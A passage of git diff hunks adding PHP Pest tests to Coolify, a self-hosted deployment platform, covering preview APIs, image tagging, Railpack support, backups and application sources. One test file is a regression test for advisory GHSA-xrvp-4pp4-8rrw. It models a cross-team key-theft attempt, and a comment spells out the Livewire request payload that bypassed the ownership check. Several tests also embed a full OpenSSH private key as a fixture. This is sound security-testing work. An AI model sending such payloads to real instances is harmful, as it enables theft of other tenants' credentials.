'docker_registry_image_tag' => 'v1.2.3',
]);
$response->assertOk();
$application->refresh();
expect($application->docker_registry_image_name)->toBe('registry.example.com:5000/team/app')
->and($application->docker_registry_image_tag)->toBe('v1.2.3');
});
});
@@ -0,0 +1,85 @@
<?php
use App\Livewire\Project\Application\General;
use App\Models\Application;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
InstanceSettings::unguarded(function () {
InstanceSettings::updateOrCreate(['id' => 0], []);
});
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
$this->privateKey = PrivateKey::create([
'name' => 'Test Key',
'private_key' => '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----',
'team_id' => $this->team->id,
]);
$this->server = Server::factory()->create([
'team_id' => $this->team->id,
'private_key_id' => $this->privateKey->id,
]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first()
?? StandaloneDocker::factory()->create(['server_id' => $this->server->id, 'network' => 'coolify-test']);
});
test('existing application buildpack selector lists nixpacks before railpack', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => StandaloneDocker::class,
'build_pack' => 'nixpacks',
'static_image' => 'nginx:alpine',
'base_directory' => '/',
'is_http_basic_auth_enabled' => false,
'redirect' => 'no',
]);
Livewire::test(General::class, ['application' => $application])
->assertSuccessful()
->assertSeeInOrder([
'<option value="nixpacks">Nixpacks</option>',
'<option value="railpack">Railpack (Beta)</option>',
], false);
});
test('existing application shows railpack beta label in build pack selector', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => StandaloneDocker::class,
'build_pack' => 'railpack',
'static_image' => 'nginx:alpine',
'base_directory' => '/',
'is_http_basic_auth_enabled' => false,
'redirect' => 'no',
]);
Livewire::test(General::class, ['application' => $application])
->assertSuccessful()
->assertSee('Railpack (Beta)');
});
@@ -25,8 +25,8 @@ beforeEach(function () {
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
StandaloneDocker::withoutEvents(function () {
$this->destination = StandaloneDocker::firstOrCreate(
['server_id' => $this->server->id, 'network' => 'coolify'],
$this->destination = $this->server->standaloneDockers()->firstOrCreate(
['network' => 'coolify'],
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
);
});
+132
View File
@@ -0,0 +1,132 @@
<?php
use App\Actions\Application\CleanupPreviewDeployment;
use App\Models\Application;
use App\Models\ApplicationPreview;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Bus;
use Illuminate\Support\Str;
use Visus\Cuid2\Cuid2;
uses(RefreshDatabase::class);
beforeEach(function () {
Bus::fake();
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->bearerToken = createTeamApiToken($this->user, $this->team, ['*']);
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
$this->application = Application::factory()->create([
'environment_id' => $this->environment->id,
'destination_id' => $this->destination->id,
'destination_type' => $this->destination->getMorphClass(),
]);
CleanupPreviewDeployment::shouldRun()->andReturn([
'cancelled_deployments' => 0,
'killed_containers' => 0,
'status' => 'success',
]);
});
function previewAuthHeaders(string $bearerToken): array
{
return [
'Authorization' => 'Bearer '.$bearerToken,
'Content-Type' => 'application/json',
];
}
function createTeamApiToken(User $user, Team $team, array $abilities): string
{
$plainTextToken = Str::random(40);
$token = $user->tokens()->create([
'name' => 'test-token-'.Str::random(6),
'token' => hash('sha256', $plainTextToken),
'abilities' => $abilities,
'team_id' => $team->id,
]);
return $token->getKey().'|'.$plainTextToken;
}
function createPreview(Application $application, int $pullRequestId): ApplicationPreview
{
return ApplicationPreview::create([
'uuid' => (string) new Cuid2,
'application_id' => $application->id,
'pull_request_id' => $pullRequestId,
'pull_request_html_url' => "https://github.com/example/repo/pull/{$pullRequestId}",
'fqdn' => "pr-{$pullRequestId}.example.com",
]);
}
describe('DELETE /api/v1/applications/{uuid}/previews/{pull_request_id}', function () {
test('returns 401 when no bearer token provided', function () {
$response = $this->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42");
$response->assertUnauthorized();
});
test('returns 404 when application uuid does not exist', function () {
$response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
->deleteJson('/api/v1/applications/nonexistent-uuid/previews/42');
$response->assertNotFound()
->assertJson(['message' => 'Application not found.']);
});
test('returns 404 when preview does not exist for the application', function () {
$response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/9999");
$response->assertNotFound()
->assertJson(['message' => 'Preview not found.']);
});
test('returns 422 when pull_request_id is not a positive integer', function () {
$response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/0");
$response->assertStatus(422)
->assertJson(['message' => 'Invalid pull_request_id.']);
});
test('soft-deletes the preview and returns 200 on success', function () {
$preview = createPreview($this->application, 42);
$response = $this->withHeaders(previewAuthHeaders($this->bearerToken))
->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/42");
$response->assertOk()
->assertJson(['message' => 'Preview deletion request queued.']);
expect($preview->fresh()->trashed())->toBeTrue();
});
test('returns 403 when token lacks write ability', function () {
$readOnlyToken = createTeamApiToken($this->user, $this->team, ['read']);
createPreview($this->application, 7);
$response = $this->withHeaders(previewAuthHeaders($readOnlyToken))
->deleteJson("/api/v1/applications/{$this->application->uuid}/previews/7");
$response->assertForbidden();
});
});
@@ -0,0 +1,126 @@
<?php
use App\Jobs\ApplicationDeploymentJob;
use App\Models\Application;
function makePreviewImageNameJob(string $commit, int $pullRequestId = 42, ?string $registryImageName = null, string $deploymentUuid = 'deployment-uuid'): object
{
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$job = $reflection->newInstanceWithoutConstructor();
$application = new Application;
$application->uuid = 'preview-app';
$application->build_pack = 'dockerfile';
$application->dockerfile = null;
$application->docker_registry_image_name = $registryImageName;
foreach ([
'application' => $application,
'pull_request_id' => $pullRequestId,
'commit' => $commit,
'deployment_uuid' => $deploymentUuid,
] as $property => $value) {
$reflectionProperty = $reflection->getProperty($property);
$reflectionProperty->setAccessible(true);
$reflectionProperty->setValue($job, $value);
}
return $job;
}
function generatePreviewImageNames(object $job): array
{
$reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$method = $reflection->getMethod('generate_image_names');
$method->setAccessible(true);
$method->invoke($job);
$buildImageName = $reflection->getProperty('build_image_name');
$buildImageName->setAccessible(true);
$productionImageName = $reflection->getProperty('production_image_name');
$productionImageName->setAccessible(true);
return [
'build' => $buildImageName->getValue($job),
'production' => $productionImageName->getValue($job),
];
}
it('includes the pull request id and commit in preview image names', function () {
$names = generatePreviewImageNames(makePreviewImageNameJob(
commit: '111222333444555666777888999000aaabbbccc1',
pullRequestId: 123,
));
expect($names['production'])->toBe('preview-app:pr-123-111222333444555666777888999000aaabbbccc1')
->and($names['build'])->toBe('preview-app:pr-123-111222333444555666777888999000aaabbbccc1-build');
});
it('generates different preview image names for different commits on the same pull request', function () {
$firstCommitNames = generatePreviewImageNames(makePreviewImageNameJob(
commit: 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
pullRequestId: 123,
));
$secondCommitNames = generatePreviewImageNames(makePreviewImageNameJob(
commit: 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
pullRequestId: 123,
));
expect($firstCommitNames['production'])->not->toBe($secondCommitNames['production'])
->and($firstCommitNames['build'])->not->toBe($secondCommitNames['build']);
});
it('uses the deployment uuid for preview image names when commit is HEAD', function () {
$firstDeploymentNames = generatePreviewImageNames(makePreviewImageNameJob(
commit: 'HEAD',
pullRequestId: 123,
deploymentUuid: 'deployment-one',
));
$secondDeploymentNames = generatePreviewImageNames(makePreviewImageNameJob(
commit: 'HEAD',
pullRequestId: 123,
deploymentUuid: 'deployment-two',
));
expect($firstDeploymentNames['production'])->toBe('preview-app:pr-123-deployment-one')
->and($firstDeploymentNames['build'])->toBe('preview-app:pr-123-deployment-one-build')
->and($secondDeploymentNames['production'])->toBe('preview-app:pr-123-deployment-two')
->and($secondDeploymentNames['build'])->toBe('preview-app:pr-123-deployment-two-build');
});
it('uses the configured registry image name for commit-specific preview tags', function () {
$names = generatePreviewImageNames(makePreviewImageNameJob(
commit: '111222333444555666777888999000aaabbbccc1',
pullRequestId: 123,
registryImageName: 'registry.example.com/team/app',
));
expect($names['production'])->toBe('registry.example.com/team/app:pr-123-111222333444555666777888999000aaabbbccc1')
->and($names['build'])->toBe('registry.example.com/team/app:pr-123-111222333444555666777888999000aaabbbccc1-build');
});
it('sanitizes and truncates preview image tags to docker tag limits', function () {
$names = generatePreviewImageNames(makePreviewImageNameJob(
commit: str_repeat('feature/add dockerfile changes/', 10),
pullRequestId: 123,
));
$productionTag = str($names['production'])->after(':')->toString();
$buildTag = str($names['build'])->after(':')->toString();
expect(strlen($productionTag))->toBeLessThanOrEqual(128)
->and(strlen($buildTag))->toBeLessThanOrEqual(128)
->and($productionTag)->toMatch('/^pr-123-[A-Za-z0-9_.-]+$/')
->and($buildTag)->toMatch('/^pr-123-[A-Za-z0-9_.-]+-build$/');
});
it('keeps non-preview dockerfile image names commit based', function () {
$names = generatePreviewImageNames(makePreviewImageNameJob(
commit: '111222333444555666777888999000aaabbbccc1',
pullRequestId: 0,
));
expect($names['production'])->toBe('preview-app:111222333444555666777888999000aaabbbccc1')
->and($names['build'])->toBe('preview-app:111222333444555666777888999000aaabbbccc1-build');
});
+150
View File
@@ -0,0 +1,150 @@
<?php
use App\Models\Application;
use App\Models\Environment;
use App\Models\EnvironmentVariable;
use App\Models\Project;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
describe('Application Railpack Support', function () {
beforeEach(function () {
$team = Team::factory()->create();
$project = Project::factory()->create(['team_id' => $team->id]);
$this->environment = Environment::factory()->create(['project_id' => $project->id]);
});
test('could_set_build_commands returns true for railpack', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'build_pack' => 'railpack',
]);
expect($application->could_set_build_commands())->toBeTrue();
});
test('could_set_build_commands returns true for nixpacks', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'build_pack' => 'nixpacks',
]);
expect($application->could_set_build_commands())->toBeTrue();
});
test('could_set_build_commands returns false for dockerfile', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'build_pack' => 'dockerfile',
]);
expect($application->could_set_build_commands())->toBeFalse();
});
test('railpack_environment_variables returns only RAILPACK_ prefixed vars', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'build_pack' => 'railpack',
]);
EnvironmentVariable::create([
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'RAILPACK_NODE_VERSION',
'value' => '20',
'is_buildtime' => true,
'is_preview' => false,
]);
EnvironmentVariable::create([
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'REGULAR_VAR',
'value' => 'value',
'is_buildtime' => false,
'is_preview' => false,
]);
EnvironmentVariable::create([
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'NIXPACKS_NODE_VERSION',
'value' => '18',
'is_buildtime' => true,
'is_preview' => false,
]);
$railpackVars = $application->railpack_environment_variables;
expect($railpackVars)->toHaveCount(1);
expect($railpackVars->first()->key)->toBe('RAILPACK_NODE_VERSION');
});
test('runtime_environment_variables excludes RAILPACK_ and NIXPACKS_ prefixed vars', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'build_pack' => 'railpack',
]);
EnvironmentVariable::create([
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'RAILPACK_NODE_VERSION',
'value' => '20',
'is_buildtime' => true,
'is_preview' => false,
]);
EnvironmentVariable::create([
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'NIXPACKS_NODE_VERSION',
'value' => '18',
'is_buildtime' => true,
'is_preview' => false,
]);
EnvironmentVariable::create([
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'APP_ENV',
'value' => 'production',
'is_buildtime' => false,
'is_preview' => false,
]);
$runtimeVars = $application->runtime_environment_variables;
expect($runtimeVars)->toHaveCount(1);
expect($runtimeVars->first()->key)->toBe('APP_ENV');
});
test('railpack_environment_variables_preview returns only RAILPACK_ prefixed preview vars', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'build_pack' => 'railpack',
]);
EnvironmentVariable::create([
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'RAILPACK_BUILD_CMD',
'value' => 'npm run build',
'is_buildtime' => true,
'is_preview' => true,
]);
EnvironmentVariable::create([
'resourceable_type' => Application::class,
'resourceable_id' => $application->id,
'key' => 'REGULAR_VAR',
'value' => 'value',
'is_buildtime' => false,
'is_preview' => true,
]);
$previewVars = $application->railpack_environment_variables_preview;
expect($previewVars)->toHaveCount(1);
expect($previewVars->first()->key)->toBe('RAILPACK_BUILD_CMD');
});
});
+60
View File
@@ -0,0 +1,60 @@
<?php
use App\Livewire\Project\Application\General;
use App\Models\Application;
use App\Models\Environment;
use App\Models\Project;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
beforeEach(function () {
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
describe('Application Redirect', function () {
test('setRedirect persists the redirect value to the database', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'fqdn' => 'https://example.com,https://www.example.com',
'redirect' => 'both',
]);
Livewire::test(General::class, ['application' => $application])
->assertSuccessful()
->set('redirect', 'www')
->call('setRedirect')
->assertDispatched('success');
$application->refresh();
expect($application->redirect)->toBe('www');
});
test('setRedirect rejects www redirect when no www domain exists', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'fqdn' => 'https://example.com',
'redirect' => 'both',
]);
Livewire::test(General::class, ['application' => $application])
->assertSuccessful()
->set('redirect', 'www')
->call('setRedirect')
->assertDispatched('error');
$application->refresh();
expect($application->redirect)->toBe('both');
});
});
+1 -1
View File
@@ -6,7 +6,7 @@ use App\Models\ApplicationSetting;
describe('Application Rollback', function () {
beforeEach(function () {
$this->application = new Application;
$this->application->forceFill([
$this->application->fill([
'uuid' => 'test-app-uuid',
'git_commit_sha' => 'HEAD',
]);
+39
View File
@@ -0,0 +1,39 @@
<?php
use App\Models\Application;
use Database\Seeders\ApplicationSeeder;
use Database\Seeders\GithubAppSeeder;
use Database\Seeders\PrivateKeySeeder;
use Database\Seeders\ProjectSeeder;
use Database\Seeders\ServerSeeder;
use Database\Seeders\StandaloneDockerSeeder;
use Database\Seeders\TeamSeeder;
use Database\Seeders\UserSeeder;
use Illuminate\Foundation\Testing\RefreshDatabase;
uses(RefreshDatabase::class);
it('seeds the default applications without railpack examples', function () {
$this->seed([
UserSeeder::class,
TeamSeeder::class,
PrivateKeySeeder::class,
ServerSeeder::class,
ProjectSeeder::class,
StandaloneDockerSeeder::class,
GithubAppSeeder::class,
ApplicationSeeder::class,
]);
$nixpacksExample = Application::where('uuid', 'nodejs')->first();
expect($nixpacksExample)
->not->toBeNull()
->and($nixpacksExample->name)->toBe('NodeJS Fastify Example')
->and($nixpacksExample->build_pack)->toBe('nixpacks')
->and($nixpacksExample->base_directory)->toBe('/nodejs')
->and($nixpacksExample->ports_exposes)->toBe('3000');
expect(Application::query()->where('build_pack', 'railpack')->exists())->toBeFalse();
expect(Application::query()->whereIn('uuid', ['railpack-nodejs', 'railpack-static'])->exists())->toBeFalse();
});
@@ -0,0 +1,42 @@
<?php
function renderApplicationServerStatusBadge(?bool $serverStatus, string $status = 'running', bool $hasAdditionalServers = false): string
{
$application = new class($serverStatus, $status, $hasAdditionalServers)
{
public function __construct(
public ?bool $server_status,
public string $status,
private bool $hasAdditionalServers,
) {}
public function additional_servers(): object
{
return new class($this->hasAdditionalServers)
{
public function __construct(private bool $exists) {}
public function exists(): bool
{
return $this->exists;
}
};
}
};
return view('livewire.project.application.server-status-badge', [
'application' => $application,
])->render();
}
it('does not show the unreachable server badge when server status is unknown', function () {
$html = renderApplicationServerStatusBadge(null);
expect($html)->not->toContain('One or more servers are unreachable or misconfigured.');
});
it('shows the unreachable server badge only when server status is false', function () {
$html = renderApplicationServerStatusBadge(false);
expect($html)->toContain('One or more servers are unreachable or misconfigured.');
});
@@ -0,0 +1,127 @@
<?php
use App\Livewire\Project\Application\Source;
use App\Models\Application;
use App\Models\Environment;
use App\Models\GithubApp;
use App\Models\InstanceSettings;
use App\Models\PrivateKey;
use App\Models\Project;
use App\Models\Server;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
use Livewire\Livewire;
use Visus\Cuid2\Cuid2;
uses(RefreshDatabase::class);
/**
* Create a PrivateKey without firing model events. The PrivateKey `saving`
* hook validates/fingerprints real key material and the `saved` hook writes
* to the filesystem — neither is wanted in a unit test. Skipping events also
* skips BaseModel's uuid generation, so the uuid is set explicitly here (it
* is not in $fillable, so it cannot go through mass assignment).
*/
function makePrivateKey(string $name, string $material, string $fingerprint, int $teamId): PrivateKey
{
return PrivateKey::withoutEvents(function () use ($name, $material, $fingerprint, $teamId) {
$key = new PrivateKey([
'name' => $name,
'private_key' => "-----BEGIN OPENSSH PRIVATE KEY-----\n{$material}\n-----END OPENSSH PRIVATE KEY-----",
'fingerprint' => $fingerprint,
'team_id' => $teamId,
]);
$key->uuid = (string) new Cuid2;
$key->save();
return $key;
});
}
beforeEach(function () {
// handleError() turns a ModelNotFoundException into abort(404); rendering the 404
// page reads InstanceSettings::get(), which findOrFail(0)s. Seed the singleton row.
// `id` is not in $fillable, so it must be set outside of mass assignment.
if (! InstanceSettings::find(0)) {
$settings = new InstanceSettings;
$settings->id = 0;
$settings->save();
}
// Team A — the attacker
$this->userA = User::factory()->create();
$this->teamA = Team::factory()->create();
$this->teamA->members()->attach($this->userA->id, ['role' => 'owner']);
$this->projectA = Project::factory()->create(['team_id' => $this->teamA->id]);
$this->environmentA = Environment::factory()->create(['project_id' => $this->projectA->id]);
$this->applicationA = Application::factory()->create([
'environment_id' => $this->environmentA->id,
'private_key_id' => null,
'source_id' => null,
'source_type' => null,
]);
// Team B — the victim (holds the secrets we are trying to steal)
$this->teamB = Team::factory()->create();
$this->victimPrivateKey = makePrivateKey('victim-ssh-key', 'VICTIM_KEY_MATERIAL', 'victim-fingerprint', $this->teamB->id);
$this->victimGithubApp = GithubApp::create([
'name' => 'victim-github-app',
'team_id' => $this->teamB->id,
'private_key_id' => $this->victimPrivateKey->id,
'api_url' => 'https://api.github.com',
'html_url' => 'https://github.com',
'is_public' => false,
]);
$this->actingAs($this->userA);
session(['currentTeam' => $this->teamA]);
});
test('setPrivateKey rejects a PrivateKey owned by another team (GHSA-xrvp-4pp4-8rrw)', function () {
Livewire::test(Source::class, ['application' => $this->applicationA])
->call('setPrivateKey', $this->victimPrivateKey->id);
$this->applicationA->refresh();
expect($this->applicationA->private_key_id)->not->toBe($this->victimPrivateKey->id);
expect($this->applicationA->private_key_id)->toBeNull();
});
test('setPrivateKey accepts a PrivateKey owned by the current team', function () {
$ownKey = makePrivateKey('own-ssh-key', 'OWN_KEY_MATERIAL', 'own-fingerprint', $this->teamA->id);
Livewire::test(Source::class, ['application' => $this->applicationA])
->call('setPrivateKey', $ownKey->id);
$this->applicationA->refresh();
expect($this->applicationA->private_key_id)->toBe($ownKey->id);
});
test('changeSource rejects a GithubApp owned by another team (GHSA-xrvp-4pp4-8rrw)', function () {
Livewire::test(Source::class, ['application' => $this->applicationA])
->call('changeSource', $this->victimGithubApp->id, GithubApp::class);
$this->applicationA->refresh();
expect($this->applicationA->source_id)->not->toBe($this->victimGithubApp->id);
expect($this->applicationA->source_type)->not->toBe(GithubApp::class);
});
test('changeSource rejects an arbitrary class as source_type', function () {
Livewire::test(Source::class, ['application' => $this->applicationA])
->call('changeSource', $this->victimGithubApp->id, Server::class);
$this->applicationA->refresh();
expect($this->applicationA->source_type)->not->toBe(Server::class);
});
test('privateKeyId is locked so submit() cannot persist a client-supplied foreign id', function () {
// Without #[Locked], an attacker could POST {"updates": {"privateKeyId": <foreign_id>},
// "calls": [{"method": "submit"}]} and have syncData(true) write the foreign id through
// Application::update(['private_key_id' => $this->privateKeyId]) — bypassing setPrivateKey()
// and its team-scoped lookup entirely. Locking the property closes that path at the wire layer.
Livewire::test(Source::class, ['application' => $this->applicationA])
->set('privateKeyId', $this->victimPrivateKey->id);
})->throws(CannotUpdateLockedPropertyException::class);
@@ -24,12 +24,23 @@ beforeEach(function () {
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
});
function applicationSourceValidPrivateKey(): string
{
return '-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevAAAAJi/QySHv0Mk
hwAAAAtzc2gtZWQyNTUxOQAAACBbhpqHhqv6aI67Mj9abM3DVbmcfYhZAhC7ca4d9UCevA
AAAECBQw4jg1WRT2IGHMncCiZhURCts2s24HoDS0thHnnRKVuGmoeGq/pojrsyP1pszcNV
uZx9iFkCELtxrh31QJ68AAAAEXNhaWxANzZmZjY2ZDJlMmRkAQIDBA==
-----END OPENSSH PRIVATE KEY-----';
}
describe('Application Source with localhost key (id=0)', function () {
test('renders deploy key section when private_key_id is 0', function () {
$privateKey = PrivateKey::create([
'id' => 0,
'name' => 'localhost',
'private_key' => 'test-key-content',
'private_key' => applicationSourceValidPrivateKey(),
'team_id' => $this->team->id,
]);
@@ -56,4 +67,19 @@ describe('Application Source with localhost key (id=0)', function () {
->assertDontSee('Deploy Key')
->assertSee('No source connected');
});
test('dispatches configuration changed when source settings are saved', function () {
$application = Application::factory()->create([
'environment_id' => $this->environment->id,
'git_repository' => 'coollabsio/coolify',
'git_branch' => 'main',
'git_commit_sha' => 'HEAD',
]);
Livewire::test(Source::class, ['application' => $application])
->set('gitBranch', 'next')
->call('submit')
->assertHasNoErrors()
->assertDispatched('configurationChanged');
});
});
@@ -0,0 +1,85 @@
<?php
use App\Livewire\Project\Database\BackupEdit;
use App\Models\Environment;
use App\Models\InstanceSettings;
use App\Models\Project;
use App\Models\ScheduledDatabaseBackup;
use App\Models\Server;
use App\Models\StandaloneDocker;
use App\Models\StandalonePostgresql;
use App\Models\Team;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Livewire\Livewire;
uses(RefreshDatabase::class);
function createBackupForEditValidationTest(Team $team, array $overrides = []): ScheduledDatabaseBackup
{
$server = Server::factory()->create(['team_id' => $team->id]);
$destination = StandaloneDocker::where('server_id', $server->id)->firstOrFail();
$project = Project::factory()->create(['team_id' => $team->id]);
$environment = Environment::factory()->create(['project_id' => $project->id]);
$database = StandalonePostgresql::create([
'name' => 'pg-backup-edit-validation',
'image' => 'postgres:16-alpine',
'postgres_user' => 'postgres',
'postgres_password' => 'password',
'postgres_db' => 'postgres',
'environment_id' => $environment->id,
'destination_id' => $destination->id,
'destination_type' => $destination->getMorphClass(),
]);
return ScheduledDatabaseBackup::create(array_merge([
'frequency' => '0 0 * * *',
'save_s3' => true,
's3_storage_id' => null,
'database_type' => $database->getMorphClass(),
'database_id' => $database->id,
'team_id' => $team->id,
], $overrides));
}
beforeEach(function () {
if (InstanceSettings::find(0) === null) {
$settings = new InstanceSettings;
$settings->id = 0;
$settings->save();
}
$this->team = Team::factory()->create();
$this->user = User::factory()->create();
$this->user->teams()->attach($this->team, ['role' => 'owner']);
$this->actingAs($this->user);
session(['currentTeam' => $this->team]);
});
it('disables S3 backup when saved without a selected S3 storage', function () {
$backup = createBackupForEditValidationTest($this->team);
Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 's3s' => $this->team->s3s])
->call('submit')
->assertDispatched('success');
$backup->refresh();
expect($backup->save_s3)->toBeFalsy();
expect($backup->s3_storage_id)->toBeNull();
});
it('cascades to disabling local backup deletion when S3 is force-disabled', function () {
$backup = createBackupForEditValidationTest($this->team, [
'disable_local_backup' => true,
]);
Livewire::test(BackupEdit::class, ['backup' => $backup->fresh(), 's3s' => $this->team->s3s])
->call('submit')
->assertDispatched('success');
$backup->refresh();
expect($backup->save_s3)->toBeFalsy();
expect($backup->s3_storage_id)->toBeNull();
expect($backup->disable_local_backup)->toBeFalsy();
});
@@ -0,0 +1,252 @@
<?php
use App\Jobs\CleanupInstanceStuffsJob;
use App\Jobs\DatabaseBackupJob;
use App\Models\ScheduledDatabaseBackup;
use App\Models\ScheduledDatabaseBackupExecution;
use App\Models\Team;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Queue\Middleware\WithoutOverlapping;
use Illuminate\Support\Facades\Cache;
uses(RefreshDatabase::class);
// --- WithoutOverlapping middleware on DatabaseBackupJob ---
test('database backup job has WithoutOverlapping middleware keyed by backup id', function () {
$team = Team::factory()->create();
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => false,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => $team->id,
]);
$job = new DatabaseBackupJob($backup);
$middleware = $job->middleware();
expect($middleware)->toHaveCount(1);
expect($middleware[0])->toBeInstanceOf(WithoutOverlapping::class);
});
test('database backup job middleware uses custom timeout plus buffer', function () {
$team = Team::factory()->create();
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => false,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => $team->id,
'timeout' => 7200,
]);
$job = new DatabaseBackupJob($backup);
$middleware = $job->middleware();
$reflection = new ReflectionClass($middleware[0]);
$expiresAfterProp = $reflection->getProperty('expiresAfter');
$releaseAfterProp = $reflection->getProperty('releaseAfter');
expect($expiresAfterProp->getValue($middleware[0]))->toBe(7500); // 7200 + 300
expect($releaseAfterProp->getValue($middleware[0]))->toBeNull(); // dontRelease sets to null
});
// --- Stale backup detection in DatabaseBackupJob ---
test('markStaleExecutionsAsFailed marks stale running executions as failed', function () {
$team = Team::factory()->create();
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => false,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => $team->id,
'timeout' => 3600,
]);
// Create a stale execution (3 hours old, timeout is 1h, threshold is 2h)
$staleExecution = ScheduledDatabaseBackupExecution::create([
'uuid' => 'stale-exec-uuid',
'database_name' => 'test_db',
'scheduled_database_backup_id' => $backup->id,
'status' => 'running',
]);
ScheduledDatabaseBackupExecution::where('id', $staleExecution->id)
->update(['created_at' => now()->subHours(3)]);
// Call the private method via reflection
$job = new DatabaseBackupJob($backup);
$reflection = new ReflectionClass($job);
$method = $reflection->getMethod('markStaleExecutionsAsFailed');
$method->invoke($job);
$staleExecution->refresh();
expect($staleExecution->status)->toBe('failed');
expect($staleExecution->message)->toContain('exceeded maximum allowed time');
expect($staleExecution->finished_at)->not->toBeNull();
});
test('markStaleExecutionsAsFailed does not mark recent running executions as failed', function () {
$team = Team::factory()->create();
$backup = ScheduledDatabaseBackup::create([
'frequency' => '0 0 * * *',
'save_s3' => false,
'database_type' => 'App\Models\StandalonePostgresql',
'database_id' => 1,
'team_id' => $team->id,
'timeout' => 3600,
]);
// Create a recent execution (30 minutes old, threshold is 2 hours)
$recentExecution = ScheduledDatabaseBackupExecution::create([
'uuid' => 'recent-exec-uuid',
'database_name' => 'test_db',
'scheduled_database_backup_id' => $backup->id,
'status' => 'running',
]);
ScheduledDatabaseBackupExecution::where('id', $recentExecution->id)
